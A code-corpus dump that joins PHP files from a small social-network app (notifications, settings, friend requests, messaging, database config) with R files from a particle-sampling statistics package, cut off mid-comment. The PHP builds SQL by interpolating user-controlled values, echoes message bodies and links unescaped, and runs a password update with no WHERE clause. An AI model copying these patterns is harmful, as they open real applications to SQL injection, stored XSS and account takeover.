$insert_notification_query = $database->query("INSERT INTO notifications(user_to, user_from, message, link, datetime, opened, viewed) VALUES('{$user_to}', '{$loggedIn}', '{$message}', '{$link}', '{$date}', 'no', 'no')");
}
public function getNotifications($data, $limit) {
global $database;
$page = $data['page'];
$loggedIn = $this->user->getUsername();
$str = "";
($page == 1) ? $start = 1 : $start = ($page - 1) * $limit;
$viewed_query = $database->query("UPDATE notifications SET viewed = 'yes' WHERE user_to = '{$loggedIn}'");
$get_user = $database->query("SELECT * FROM notifications WHERE user_to = '{$loggedIn}' ORDER BY id DESC");
if(mysqli_num_rows($get_user) == 0) {
echo "You have no notifications.";
return;
}
$num_iterations = 0;
$count = 1;
while($row = mysqli_fetch_array($get_user)) {
if(++$num_iterations < $start) {
continue;
}
if($count > $limit) {
break;
} else {
$count++;
}
$user_from = $row['user_from'];
$query = $database->query("SELECT * FROM users WHERE username = '{$user_from}'");
$user_details = mysqli_fetch_array($query);
$date = Carbon::create($row['datetime'])->diffForHumans();
$css = ($row['opened'] == 'no') ? "background-color: dimgrey;" : "";
$str .= "<a href='" . $row['link'] . "'>
<div class='result resultNotification' style='". $css ."'>
<div class='notificationsImg'>
<img src='". $user_details['profile_picture'] ."'>
</div>
<p class='timestamp' id='grey'>". $date ."</p>" . $row['message'] ."
</div><hr>
</a>";
}
// if($count > $limit) { //ako su poruke ucitane
// $str .= "<input type='hidden' class='nextPageDropdownData' value='". ($page+1) ."'><input type='hidden' class='noMoreDropdownData' value='false'>";
// } else {
// $str .= "<input type='hidden' class='noMoreDropdownData' value='true'> <p style='text-align:center;'>No More Messages</p>"; //ukoliko se nije ispunio uslov, ne moze da prestigne limit poruka koje se ucitavaju
// }
return $str;
}
}
?>
<file_sep>/includes/form_handlers/settings_handler.php
<?php
include("config/define.php");
global $database;
if(isset($_POST['update_details'])) {
$first_name = $database->escape_string($_POST['first_name']);
$last_name = $database->escape_string($_POST['last_name']);
$username = $database->escape_string($_POST['username']);
$check_query = $database->query("SELECT * FROM users WHERE email = '{$user['email']}'");
$user_check = mysqli_fetch_array($check_query);
$username_db = $user_check['username'];
if($username_db == $loggedIn) {
$update_query = $database->query("UPDATE users SET first_name = '{$first_name}', last_name = '{$last_name}', username = '{$username}' WHERE email = '{$user['email']}'");
$message = "You successfully updated your info!<br>";
} else {
$message = "Unable to update information.<br>";
}
} else {
$message = "";
}
if(isset($_POST['update_password'])) {
$old_password = $database->escape_string($_POST['old_p']);
$new_password = $database->escape_string($_POST['new_p']);
$repeat_new_password = $database->escape_string($_POST['new_p2']);
$check_password_query = $database->query("SELECT password FROM users WHERE username = '{$loggedIn}'");
$pass_row = mysqli_fetch_array($check_password_query);
$old_password_db = $pass_row['password'];
if(password_verify($old_password, $old_password_db)) {
if(!empty($new_password) && !empty($repeat_new_password)) {
if($new_password == $repeat_new_password) {
if(strlen($new_password) < 5 || strlen($new_password) > 25) {
$message2 = "New password must be between 5 and 25 characters!<br>";
} else {
$new_password_hash = password_hash($new_password, PASSWORD_BCRYPT);
$update_password_query = $database->query("UPDATE users SET password = '{<PASSWORD>}'");
$message2 = "Password is successfully changed!<br>";
}
} else {
$message2 = "Passwords must match!<br>";
}
} else {
$message2= "Password input fields can't be blank!<br>";
}
} else {
$message2 = "Enter correct old password!<br>";
}
} else {
$message2 = "";
}
if(isset($_POST['close_account'])) {
header("Location: close_account.php");
}
?><file_sep>/requests.php
<?php include("config/init.php");
global $database; ?>
<div class="main col">
<h3>Friend Requests</h3>
<?php
$select_requests = $database->query("SELECT * FROM friend_requests WHERE user_to = '{$loggedIn}'");
if(mysqli_num_rows($select_requests) == 0) {
echo "You have no friend requests.";
} else {
while($row = mysqli_fetch_array($select_requests)) {
$user_from = $row['user_from'];
$user_from_ins = new User($user_from);
$loggedIn_user = new User($loggedIn);
echo "<p style='padding:10px 0px 0px 10px;'>{$user_from_ins->getFirstAndLastName()} sent you friend request.</p>";
$user_from_friends = $user_from_ins->getFriendArray();
$loggedIn_user_friends = $loggedIn_user->getFriendArray();
if(isset($_POST['accept_request' . $user_from])) {
if(!empty($user_from_friends)) {
$new_friends_array_user_from = str_replace($user_from_friends, $user_from_friends . $loggedIn . ",", $user_from_friends);
$update_database = $database->query("UPDATE users SET friends_array = '{$new_friends_array_user_from}' WHERE username = '{$user_from}'");
} else {
$new_friends_array_user_from .= $loggedIn . ",";
$update_database = $database->query("UPDATE users SET friends_array = '{$new_friends_array_user_from}' WHERE username = '{$user_from}'");
}
if(!empty($loggedIn_user_friends)) {
$new_friends_array_loggedIn = str_replace($loggedIn_user_friends, $loggedIn_user_friends . $user_from . ",", $loggedIn_user_friends);
$update_array = $database->query("UPDATE users SET friends_array = '{$new_friends_array_loggedIn}' WHERE username = '{$loggedIn}'");
} else {
$new_friends_array_loggedIn .= $user_from . ",";
$update_array = $database->query("UPDATE users SET friends_array = '{$new_friends_array_loggedIn}' WHERE username = '{$loggedIn}'");
}
$delete_from_requests = $database->query("DELETE FROM friend_requests WHERE user_to = '{$loggedIn}' AND user_from = '{$user_from}'");
echo "You are now friends with {$user_from_ins->getFirstAndLastName()}!";
header("Location: requests.php");
}
if(isset($_POST['ignore_request' . $user_from])) {
$delete_from_requests = $database->query("DELETE FROM friend_requests WHERE user_to = '{$loggedIn}' AND user_from = '{$user_from}'");
echo "You ignored this request.";
header("Location: requests.php");
}
?>
<form action="" method="POST">
<input type="submit" name="accept_request<?php echo $user_from; ?>" value="Accept" class='accept_request'>
<input type="submit" name="ignore_request<?php echo $user_from; ?>" value="Ignore" class='ignore_request'>
</form>
<?php
}
}
?>
</div><file_sep>/ajax_load_notifications.php
<?php
include('config/define.php');
global $database;
$limit = 7;
$notification = new Notification($_REQUEST['loggedIn']);
echo $notification->getNotifications($_REQUEST, $limit);
?><file_sep>/includes/register_footer.php
</div>
<script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="<KEY> crossorigin="anonymous"></script>
<script>
$(document).ready(function() {
$("#register").click(function() {
$(".register").slideUp("slow", function() {
$(".login").slideDown("slow");
});
});
$("#login").click(function() {
$(".login").slideUp("slow", function() {
$(".register").slideDown("slow");
})
});
});
</script>
<?php if(isset($_POST['submit'])) {
if($reg_query) {
echo '<script>
$(document).ready(function() {
$(".register").hide();
$(".login").show();
$("#login_succeed").text("Registration successfully completed! Please Login now!");
$(".reg_form").find("input[type=text], input[type=email], input[type=password]").val("");
});
</script>';
}
}
?>
<?php
if(!empty($login_errors)) {
echo '<script>
$(document).ready(function() {
$(".register").hide();
$(".login").show();
});
</script>';
}
?>
</body>
</html><file_sep>/includes/classes/Message.php
<?php
require 'vendor/autoload.php';
use Carbon\Carbon;
class Message {
private $user;
function __construct($user)
{
$this->user = new User($user);
}
public function getRecentUser() {
global $database;
$loggedIn = $this->user->getUsername();
$find_user = $database->query("SELECT user_to, user_from FROM messages WHERE user_to ='{$loggedIn}' OR user_from = '{$loggedIn}' ORDER BY id DESC");
if(mysqli_num_rows($find_user) == 0) {
return false;
}
$row = mysqli_fetch_array($find_user);
$user_to = $row['user_to'];
$user_from = $row['user_from'];
if($user_to != $loggedIn) { //vracamo drugog ucesnika chatovanja
return $user_to;
} else {
return $user_from;
}
}
public function sendMessage($user_to, $content, $date_added) {
global $database;
if($content != "") {
$user_from = $this->user->getUsername();
$send_message_query = $database->query("INSERT INTO messages VALUES('', '{$user_to}', '{$user_from}', '{$content}', '{$date_added}', 'no', 'no', 'no')");
}
}
public function getAllMessages($user_from) {
global $database;
$message = "";
$loggedIn = $this->user->getUsername();
$update_messages_query = $database->query("UPDATE messages SET opened = 'yes' WHERE user_to = '{$loggedIn}' AND user_from = '{$user_from}'");
$get_messages_query = $database->query("SELECT * FROM messages WHERE (user_to = '{$loggedIn}' AND user_from = '{$user_from}') OR (user_to = '{$user_from}' AND user_from = '{$loggedIn}')");
while($row = mysqli_fetch_array($get_messages_query)) {
$user_to = $row['user_to'];
$user_from = $row['user_from'];
$content = $row['body'];
$div_choice = ($user_to == $loggedIn) ? "<div class='message' id='green'>" : "<div class='message' id='blue'>";
$message .= $div_choice . $content . "</div><br><br>";
}
return $message;
}
public function getLatestMsg($loggedIn, $user) {
global $database;
$latest_msg_details = array();
$get_latest_msg_query = $database->query("SELECT user_to, user_from, body, date FROM messages WHERE (user_to = '{$loggedIn}' AND user_from = '{$user}') OR (user_to = '{$user}' AND user_from = '{$loggedIn}') ORDER BY id DESC LIMIT 1");
$row = mysqli_fetch_array($get_latest_msg_query);
$sent_by = ($row['user_to'] == $loggedIn) ? "They said: " : "";
$time_to_display = Carbon::create($row['date'])->diffForHumans();
$body = $row['body'];
array_push($latest_msg_details, $sent_by);
array_push($latest_msg_details, $time_to_display);
array_push($latest_msg_details, $body);
return $latest_msg_details;
}
public function getAllConversations() {
global $database;
$loggedIn = $this->user->getUsername();
$str = "";
$conv_array = array();
$get_other_user = $database->query("SELECT user_to, user_from FROM messages WHERE user_to = '{$loggedIn}' OR user_from = '{$loggedIn}' ORDER BY id DESC");
while($row = mysqli_fetch_array($get_other_user)) {
$other_user = ($row['user_to'] != $loggedIn) ? $row['user_to'] : $row['user_from'];
if(!in_array($other_user, $conv_array)) {
array_push($conv_array, $other_user); //ubacuje se user u niz, ukoliko vec nije u nizu
}
}
foreach($conv_array as $user) {
$user_ins = new User($user);
$latest_msg = $this->getLatestMsg($loggedIn, $user);
if($latest_msg[0] == "") {
$dots = (strlen($latest_msg[2]) >= 17) ? "..." : "";
$split = str_split($latest_msg[2], 17);
$split = $split[0] . $dots;
} else {
$dots = (strlen($latest_msg[2]) >= 12) ? "..." : "";
$split = str_split($latest_msg[2], 12);
$split = $split[0] . $dots;
}
$str .= "<a href='messages.php?u={$user}'> <div class='user_messages'>
<img src='" . $user_ins->getProfileImage() . "' style='border-radius:5px; margin-right:5px; position:relative; top:-6px;'>
". $user_ins->getFirstAndLastName() ." <span class='timestamp_small' id='grey' style='font-size:12px;'>" . $latest_msg[1] . "</span><br><br>
<p id='grey' style='margin:0;'>". $latest_msg[0] . $split ."</p></div>
</a>";
}
return $str;
}
public function getDropdownConversations($data, $limit) {
global $database;
$page = $data['page'];
$loggedIn = $this->user->getUsername();
$str = "";
$conv_array = array();
($page == 1) ? $start = 1 : $start = ($page - 1) * $limit;
$viewed_query = $database->query("UPDATE messages SET viewed = 'yes' WHERE user_to = '{$loggedIn}'");
$get_other_user = $database->query("SELECT user_to, user_from FROM messages WHERE user_to = '{$loggedIn}' OR user_from = '{$loggedIn}' ORDER BY id DESC");
while($row = mysqli_fetch_array($get_other_user)) {
$other_user = ($row['user_to'] != $loggedIn) ? $row['user_to'] : $row['user_from'];
if(!in_array($other_user, $conv_array)) {
array_push($conv_array, $other_user); //ubacuje se user u niz, ukoliko vec nije u nizu
}
}
$num_iterations = 0;
$count = 1;
foreach($conv_array as $user) {
if(++$num_iterations < $start) {
continue;
}
if($count > $limit) {
break;
} else {
$count++;
}
$pull_opened = $database->query("SELECT opened FROM messages WHERE user_to = '{$loggedIn}' AND user_from = '{$user}' ORDER BY id DESC");
$row = mysqli_fetch_array($pull_opened);
$css = ($row['opened'] == 'no') ? "background-color: #c1d9f5;" : "";
$user_ins = new User($user);
$latest_msg = $this->getLatestMsg($loggedIn, $user);
$dots = (strlen($latest_msg[2]) >= 12) ? "..." : "";
$split = str_split($latest_msg[2], 12);
$split = $split[0] . $dots;
$str .= "<a href='messages.php?u={$user}'> <div class='user_messages' style='". $css ."'>
<img src='" . $user_ins->getProfileImage() . "' style='border-radius:5px; margin-right:5px; position:relative; top:-6px;'>
". $user_ins->getFirstAndLastName() ." <span class='timestamp_small' id='grey' style='font-size:12px;'>" . $latest_msg[1] . "</span><br><br>
<p id='grey' style='margin:0;'>". $latest_msg[0] . $split ."</p></div>
</a>";
}
// if($count > $limit) { //ako su poruke ucitane
// $str .= "<input type='hidden' class='nextPageDropdownData' value='". ($page+1) ."'><input type='hidden' class='noMoreDropdownData' value='false'>";
// } else {
// $str .= "<input type='hidden' class='noMoreDropdownData' value='true'> <p style='text-align:center;'>No More Messages</p>"; //ukoliko se nije ispunio uslov, ne moze da prestigne limit poruka koje se ucitavaju
// }
return $str;
}
public function getUnreadNumber() {
global $database;
$loggedIn = $this->user->getUsername();
$query = $database->query("SELECT * FROM messages WHERE viewed = 'no' AND user_to = '{$loggedIn}'");
return mysqli_num_rows($query);
}
}
?><file_sep>/config/define.php
<?php
defined("DS") ? null : define("DS", DIRECTORY_SEPARATOR);
defined("DB_HOST") ? null : define("DB_HOST", "localhost");
defined("DB_USER") ? null : define("DB_USER", "root");
defined("DB_PASSWORD") ? null : define("DB_PASSWORD", "<PASSWORD>!");
defined("DB_NAME") ? null : define("DB_NAME", "nefeedws");
require_once("database.php");
require_once("includes/classes/User.php");
require_once("includes/classes/Post.php");
require_once("includes/classes/Message.php");
require_once("includes/classes/Notification.php");
?> | 604429cb7fe88cdb48bd383c1b20dc035a3f76ab | [
"JavaScript",
"PHP"
] | 30 | PHP | strahinjalalic/neews-feed | 857fbb73b7b524cf6ad844c82cf8db0102247aff | cbddfa1f8737ca586ec2a31f8925b47a9eb91117 |
refs/heads/master | <repo_name>nguyenminhtu/toy-app<file_sep>/app/models/micropost.rb
class Micropost < ApplicationRecord
belongs_to :user
validates :content, presence: true, length: { minimum: 5, maximum: 150 }
end
<file_sep>/app/models/user.rb
class User < ApplicationRecord
has_many :microposts, dependent: :destroy
validates :name, presence: true, length: {minimum: 4, maximum: 20}
validates :email, presence: true, length: {minimum: 4, maximum: 20}
validates_format_of :email, with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i
end
| aa9e1d3b60e1c33d7261a50690cf3c5770990266 | [
"Ruby"
] | 2 | Ruby | nguyenminhtu/toy-app | 3e034d1717fb6f342bcfa6ff8a9f15678b4b85f8 | 0aa70ef4ef572c08faeb6488117f928357fa2d03 |
refs/heads/master | <repo_name>sharawy/azure-ci-cd<file_sep>/commands.sh
as az webapp up -n skllearnapp
<file_sep>/README.md
# azure-ci-cd

# Overview
Starter app to predict propeties prices in boston
## Project Plan
* Trello link : https://trello.com/b/lFj1xneB/project-planning
* Planning sheet: https://docs.google.com/spreadsheets/d/1cYYnkTDZnPfU6p2RwlnvAQU1G_PT-5ax9qAT-oQUsW0/edit?usp=sharing
## Instructions
* Diagram

#### Prerequiste:
- Python version 3.5
- virtualenv
### How to run
- run ``` virtualenv venv```
- run ```source venv/bin/activate ```
- run ``` pip install -r requirements.txt```
- run ``` python app.py ```
- run ``` ./make_prediction.sh ```

* Project running inside a Docker container

* Project running on Azure App Service


* Project cloned into Azure Cloud Shell

* Passing tests that are displayed after running the `make all` command from the `Makefile`
.
* Output of a test run
.
.
* Successful run of the project in Azure Pipelines

* Running Azure App Service

* Successful prediction from deployed flask app in Azure Cloud Shell>

## Enhancements
- Saving prediction data in no sql database for better retirving and analysis
## Demo
https://youtu.be/95ICz4_kF-Q
| c88eefe6ce198c5738d20e5742cd54cc53dc03bb | [
"Markdown",
"Shell"
] | 2 | Shell | sharawy/azure-ci-cd | a26ee0127977c69523a577d6b34baa94278a09f8 | 500e943e22fe9631467fddd63424f5779230b39b |
refs/heads/master | <repo_name>gjcooper/samplers<file_sep>/R/data.R
#' Forstmann et al.'s data.
#'
#' A dataset containing the speed or accuracy manipulation, subject ID's and
#' reaction times from the ...
#'
#' @format A data frame with 15818 rows and 5 variables:
#' \describe{
#' \item{subject}{subject, integer ID for each subject}
#' \item{rt}{rt, reaction time for each trial as a double}
#' \item{condition}{condition, Factor with 3 levels for Speed, Accuracy and Neutral}
#' \item{stim}{stim, Factor with 2 levels for Left and Right trials}
#' \item{resp}{resp, Factor with 2 levels for Left and Right responses}
#' }
#' @source \url{https://www.jneurosci.org/content/35/6/2476}
"forstmann"
<file_sep>/R/generics.R
#' Initialise a sampler with starting points
#'
#' Takes the starting values for the individual and possibly group
#' level parameters, in preparation for further iterations,
#' whether they be burn-in or sampling.
#'
#' @param x The sampling object that provides the parameters.
#' @param ... Further arguments passed to or from other methods.
#'
#' @return The sampler object but with sampled values for subject and group
#' parameters. Exact sampling method depends on the stage being run.
#' @examples
#' # No example yet
#' @export
run_stage <- function(x, ...) {
if (is.null(attr(x, "class"))) {
print("No object to run a stage on")
}
else UseMethod("run_stage")
}
#' Initialise a sampler with starting points
#'
#' Takes the starting values for the individual and possibly group
#' level parameters, in preparation for further iterations,
#' whether they be burn-in or sampling.
#'
#' @param x The sampling object that provides the parameters.
#' @param ... Further arguments passed to or from other methods.
#'
#' @return The sampler object but with initial values set for all parameter
#' types
#' @examples
#' # No example yet
#' @export
init <- function(x, ...) {
if (is.null(attr(x, "class"))) {
print("No object to add start points to")
}
else UseMethod("init")
}
<file_sep>/R/sampling.R
#' Run a stage of the PMwG sampler
#'
#' Run one of burnin, adaptation of sampling phase from the PMwG
#' sampler. Each stage involves slightly different processes, so for the
#' full PMwG we need to run this three times.
#'
#' @param x A pmwgs object that has been initialised
#' @param stage The sampling stage to run. Must be one of 'burn', 'adapt' or
#' 'sample'. If not provided assumes that the stage should be 'burn'
#' @param iter The number of iterations to run for the sampler. For 'burn' and
#' 'sample' all iteration will run. However for 'adapt' if all subjects have
#' enough unique samples to create the conditional distribution then it will
#' finish early.
#' @param particles The default here is 1000 particles to be generated for each
#' iteration, however during the sample phase this should be reduced.
#' @param display_progress Display a progress bar during sampling.
#' @param n_cores Set to > 1 to use mclapply
#' @param ... Further arguments passed to or from other methods.
#'
#' @return A pmwgs object with the newly generated samples in place.
#' @examples
#' # No example yet
#' @export
run_stage.pmwgs <- function(x, stage, iter = 1000, particles = 1000, # nolint
display_progress = TRUE, n_cores = 1, ...) {
# Test stage argument
stage <- match.arg(stage, c("burn", "adapt", "sample"))
# Expand the dots
extra_args <- list(...)
# Extract n_unique argument
if (is.null(extra_args$n_unique))
.n_unique <- 20 else
.n_unique <- extra_args$n_unique
if (stage == "sample") {
prop_args <- try(create_efficient(x))
if (class(prop_args) == "try-error") {
cat("ERR01: An error was detected creating efficient dist\n")
outfile <- tempfile(pattern = "PMwG_err_",
tmpdir = ".",
fileext = ".RData")
cat("Saving current state of environment in file: ", outfile, "\n")
save.image(outfile)
}
mix <- c(0.1, 0.2, 0.7)
} else {
mix <- c(0.5, 0.5, 0.0)
prop_args <- list()
n_unique <- .n_unique
}
# Test pmwgs object initialised
try(if (is.null(x$init)) stop("pmwgs object has not been initialised"))
apply_fn <- lapply
apply_args <- list()
if (n_cores > 1) {
if (Sys.info()[["sysname"]] == "Windows") {
stop("n_cores cannot be greater than 1 on Windows systems.")
}
apply_fn <- parallel::mclapply
apply_args <- list(mc.cores = n_cores)
}
# Display stage to screen
msgs <- list(
burn = "Phase 1: Burn in\n", adapt = "Phase 2: Adaptation\n",
sample = "Phase 3: Sampling\n"
)
cat(msgs[[stage]])
# Build new sample storage
stage_samples <- sample_store(
x$par_names, x$n_subject,
iters = iter, stage = stage
)
# create progress bar
if (display_progress) {
pb <- accept_progress_bar(min = 0, max = iter)
}
for (i in 1:iter) {
if (display_progress)
setAcceptProgressBar(pb, i, extra = mean(accept_rate(stage_samples)))
if (i == 1) store <- x$samples else store <- stage_samples
tryCatch(
pars <- new_group_pars(store, x),
error = function(err_cond) {
store_tmp <- tempfile(pattern = "pmwg_stage_samples_",
tmpdir = ".",
fileext = ".RDS")
sampler_tmp <- tempfile(pattern = "pmwg_obj_",
tmpdir = ".",
fileext = ".RDS")
message("Problem generating new group level parameters")
message("Saving current state of pmwgs object: ", sampler_tmp)
saveRDS(x, file = sampler_tmp)
message("Saving current state of stage sample storage", store_tmp)
saveRDS(store, file = store_tmp)
stop("Stopping execution")
}
)
# Sample new particles for random effects.
# Send new_sample the "index" of the subject id - not subject id itself.
pmwgs_args <- list(
X = 1:x$n_subjects,
FUN = new_sample,
data = x$data,
num_particles = particles,
parameters = pars,
mix_ratio = mix,
likelihood_func = x$ll_func,
subjects = x$subjects
)
fn_args <- c(pmwgs_args, apply_args, prop_args, extra_args)
tmp <- do.call(apply_fn, fn_args)
ll <- unlist(lapply(tmp, attr, "ll"))
sm <- array(unlist(tmp), dim = dim(pars$sm))
# Store results locally.
stage_samples$theta_mu[, i] <- pars$gm
stage_samples$theta_sig[, , i] <- pars$gv
stage_samples$last_theta_sig_inv <- pars$gvi
stage_samples$alpha[, , i] <- sm
stage_samples$idx <- i
stage_samples$subj_ll[, i] <- ll
stage_samples$a_half[, i] <- pars$a_half
if (stage == "adapt") {
if (check_adapted(stage_samples$alpha, unq_vals = n_unique)) {
message("Enough unique values detected: ", n_unique)
message("Testing proposal distribution creation")
attempt <- try({
tmp_sampler <- update_sampler(x, stage_samples)
lapply(
X = 1:tmp_sampler$n_subjects,
FUN = conditional_parms,
samples = extract_samples(tmp_sampler)
)
})
if (class(attempt) == "try-error") {
warning("An error was encountered creating proposal distribution")
warning("Increasing required unique values")
n_unique <- n_unique + .n_unique
}
else {
message("Adapted after ", i, "iterations - stopping early")
break
}
}
}
}
if (display_progress) close(pb)
update_sampler(x, stage_samples)
}
#' Generate a new particle
#'
#' Generate samples from either the initial proposal or from the last
#' iteration of the particles (according to a mixing value) and return
#' a weighted random sample from the new proposals
#' This uses the simplest, and slowest, proposals: a mixture of the
#' the population distribution and Gaussian around current random effect.
#'
#' @param s A number - the index of the subject, also selects particles. For
#' `s == 1` The first subject ID from the `data` subject column will be
#' selected. For `s == 2` the second unique value for subject id will be used.
#' @param data A data.frame containing variables for
#' response time (\code{rt}), trial condition (\code{condition}),
#' accuracy (\code{correct}) and subject (\code{subject}) which
#' contains the data against which the particles are assessed
#' @param parameters A list containing:
#' * the vector of means for the multivariate normal (gm),
#' * A covariate matrix for the multivariate normal (gv)
#' * An array of individual subject means (re proposals for latent
#' variables) (sm)
#' @inheritParams numbers_from_ratio
#' @inheritParams check_efficient
#' @param likelihood_func A likelihood function for calculating log likelihood
#' of samples
#' @param epsilon A scaling factor to reduce the variance on individual level
#' parameter samples
#' @param subjects A list of unique subject ids in the order they appear in
#' the data.frame
#'
#' @return A single sample from the new proposals
#' @examples
#' # No example yet
#' @export
new_sample <- function(s, data, num_particles, parameters,
efficient_mu = NULL, efficient_sig2 = NULL,
mix_ratio = c(0.5, 0.5, 0.0),
likelihood_func = NULL,
epsilon = 1, subjects = NULL) {
# Check for efficient proposal values if necessary
check_efficient(mix_ratio, efficient_mu, efficient_sig2)
e_mu <- efficient_mu[, s]
e_sig2 <- efficient_sig2[, , s]
mu <- parameters$gm
sig2 <- parameters$gv
subj_mu <- parameters$sm[, s]
if (is.null(likelihood_func)) stop("likelihood_func is a required argument")
# Create proposals for new particles
proposals <- gen_particles(
num_particles, mu, sig2, subj_mu,
mix_ratio = mix_ratio,
prop_mu = e_mu,
prop_sig2 = e_sig2,
epsilon = epsilon
)
# Put the current particle in slot 1.
proposals[1, ] <- subj_mu
# Density of data given random effects proposal.
lw <- apply(
proposals,
1,
likelihood_func,
data = data[data$subject == subjects[s], ]
)
# Density of random effects proposal given population-level distribution.
lp <- mvtnorm::dmvnorm(x = proposals, mean = mu, sigma = sig2, log = TRUE)
# Density of proposals given proposal distribution.
prop_density <- mvtnorm::dmvnorm(x = proposals,
mean = subj_mu,
sigma = sig2 * (epsilon^2))
# Density of efficient proposals
if (mix_ratio[3] != 0) {
eff_density <- mvtnorm::dmvnorm(
x = proposals,
mean = e_mu,
sigma = e_sig2
)
} else {
eff_density <- 0
}
lm <- log(mix_ratio[1] * exp(lp) +
(mix_ratio[2] * prop_density) +
(mix_ratio[3] * eff_density))
# log of importance weights.
l <- lw + lp - lm
weights <- exp(l - max(l))
idx <- sample(x = num_particles, size = 1, prob = weights)
winner <- proposals[idx, ]
attr(winner, "ll") <- lw[idx]
winner
}
#' Generate proposal particles.
#'
#' Generate particles for a particular subject from a mix of population level
#' (hierarchical) distribution, from the particles (containing individual level
#' distribution) and/or from the conditional on accepted individual level
#' particles, a more efficient prposal method.
#'
#' This function is used in burnin, adaptation and sampling using various
#' combinations of the arguments.
#'
#' @param mu A vector of means for the multivariate normal
#' @param sig2 A covariate matrix for the multivariate normal
#' @param particle A particle (re proposals for latent variables)
#' @inheritParams numbers_from_ratio
#' @param epsilon Reduce the variance for the individual level samples by this
#' factor
#'
#' @return The new proposals
#' @examples
#' psamplers:::gen_particles(100, rep(0.2, 7), diag(rep(0.1, 7)), rep(0.3, 7))
#' @keywords internal
gen_particles <- function(num_particles,
mu,
sig2,
particle,
...,
mix_ratio = c(0.5, 0.5, 0.0),
prop_mu = NULL,
prop_sig2 = NULL,
epsilon = 1) {
particle_numbers <- numbers_from_ratio(mix_ratio, num_particles)
# Generate proposal particles
pop_particles <- particle_draws(particle_numbers[1], mu, sig2)
ind_particles <- particle_draws(particle_numbers[2], particle, sig2 * epsilon^2)
eff_particles <- particle_draws(particle_numbers[3], prop_mu, prop_sig2)
particles <- rbind(pop_particles, ind_particles, eff_particles)
colnames(particles) <- names(mu) # stripped otherwise.
particles
}
<file_sep>/R/psamplers-package.R
#' Particle Sampling Methods
#'
#' \tabular{ll}{
#' Package: \tab psamplers\cr
#' Type: \tab Package\cr
#' Version: \tab 0.0.0.9004\cr
#' Date: \tab 2019-07-23\cr
#' Depends: \tab R (>= 3.5.0)\cr
#' License: \tab GPL-3\cr
#' URL: \tab https://github.com/gjcooper/samplers\cr
#' }
#'
#' Provides particle sampling helper functions (log-likelihood functions, particle sampling functions). The initial version of the code is for parameter estimation and is primarily an implementation of the Particle Metropolis within Gibbs sampler outlined in the paper available at https://arxiv.org/abs/1806.10089 and based on the Matlab code available at http://osf.io/5b4w3
#'
#' @aliases psamplers-package
#' @name psamplers
#' @docType package
#' @title The psamplers Package
#' @author <NAME>
#' @keywords package
NULL
<file_sep>/examples/pmwgs.R
# Specify the log likelihood function
lba_loglike <- function(x, data) {
x <- exp(x)
if (any(data$rt < x["t0"])) {
return(-1e10)
}
# This is faster than "paste".
bs <- x["A"] + x[c("b1", "b2", "b3")][data$condition]
out <- rtdists::dLBA(rt = data$rt, # nolint
response = data$correct,
A = x["A"],
b = bs,
t0 = x["t0"],
mean_v = x[c("v1", "v2")],
sd_v = c(1, 1),
distribution = "norm",
silent = TRUE)
bad <- (out < 1e-10) | (!is.finite(out))
out[bad] <- 1e-10
out <- sum(log(out))
out
}
# Specify parameter names and priors
pars <- c("b1", "b2", "b3", "A", "v1", "v2", "t0")
priors <- list(
theta_mu = rep(0, length(pars)),
theta_sig = diag(rep(1, length(pars)))
)
# Create the Particle Metropolis within Gibbs sampler object
sampler <- pmwgs(
data = forstmann,
pars = pars,
ll_func = lba_loglike,
prior = priors
)
<file_sep>/R/helpers.R
#' Unwinds variance matrix to a vector
#'
#' Takes a variance matrix and unwind to a vector via Cholesky then log
#'
#' @param var_matrix A variance matrix
#'
#' @return The unwound matrix as a vector
#' @examples
#' psamplers:::unwind(diag(rep(1, 7)))
#' @keywords internal
unwind <- function(var_matrix, ...) {
y <- t(chol(var_matrix))
diag(y) <- log(diag(y))
y[lower.tri(y, diag = TRUE)]
}
#' Winds a variance vector back to a vector
#'
#' The reverse of the unwind function, takes a variance vector and windows back into matrix
#'
#' @param var_vector A variance vector
#'
#' @return The wound vector as a matrix
#' @examples
#' psamplers:::wind(diag(rep(1, 7)))
#' @keywords internal
wind <- function(var_vector, ...) {
n <- sqrt(2 * length(var_vector) + 0.25) - 0.5 ## Dim of matrix.
if ((n * n + n) != (2 * length(var_vector))) stop("Wrong sizes in unwind.")
out <- array(0, dim = c(n, n))
out[lower.tri(out, diag = TRUE)] <- var_vector
diag(out) <- exp(diag(out))
out %*% t(out)
}
#' Check and normalise the number of each particle type from the mix_ratio
#'
#' Takes a mix ratio vector (3 x float) and a number of particles to generate and returns
#' a vector containing the number of each particle type to generate
#'
#' @param mix_ratio A vector of floats betwen 0 and 1 and summing to 1 which give the ratio
#' of particles to generate from the population level parameters, the individual random
#' effects and the conditional parameters repectively
#' @param num_particles The total number of particles to generate using a combination of the
#' three methods.
#'
#' @return The wound vector as a matrix
#' @examples
#' psamplers:::numbers_from_ratio(c(0.1, 0.3, 0.6))
#' @keywords internal
numbers_from_ratio <- function(mix_ratio, num_particles = 1000) {
if (!isTRUE(all.equal(sum(mix_ratio), 1))) {
stop("The elements of the mix_ratio vector must sum to 1")
}
if (length(mix_ratio) != 3) {
stop("mix_ratio vector must have three elements which sum to 1")
}
numbers <- stats::rbinom(n = 2, size = num_particles, prob = mix_ratio)
if (mix_ratio[3] == 0) {
numbers[3] <- 0
numbers[2] <- num_particles - numbers[1]
} else {
numbers[3] <- num_particles - sum(numbers)
}
numbers
}
#' Check for efficient proposals if necessary
#'
#' Takes a mix ratio vector (3 x float) and the efficient proposal mu and sigma
#' If efficient proposals are to be used (mix_ratio[3] > 0) then test the
#' efficient proposal values to see whether they are not null and appropriate.
#'
#' @param efficient_mu The mu value for the efficient proposals
#' @param efficient_sig2 The sigma value for the efficient proposals
#' @param mix_ratio A vector of floats betwen 0 and 1 and summing to 1 which give the ratio
#' of particles to generate from the population level parameters, the individual random
#' effects and the conditional parameters repectively
#'
#' @return nothing, stops operation on incorrect combiation of parameters.
#' @examples
#' psamplers:::check_efficient(c(0.1, 0.9, 0.0), NULL, NULL)
#' @keywords internal
check_efficient <- function(mix_ratio, efficient_mu, efficient_sig2) {
if (mix_ratio[3] != 0) {
if (is.null(efficient_mu) || is.null(efficient_sig2)) {
stop(
paste0(
"Mu and sigma from efficient conditional ",
"proposals must be provided for mix_ratio[3] > 0"
)
)
}
}
}
#' Extract relevant samples from the list for conditional dist calc
#'
#' From the sampler, extract relevant samples for the creation of
#' the proposal distribution.
#'
#' @param sampler The pmwgs object containing the samples
#' @param stage The stage, or list of stages from which you want the samples
#'
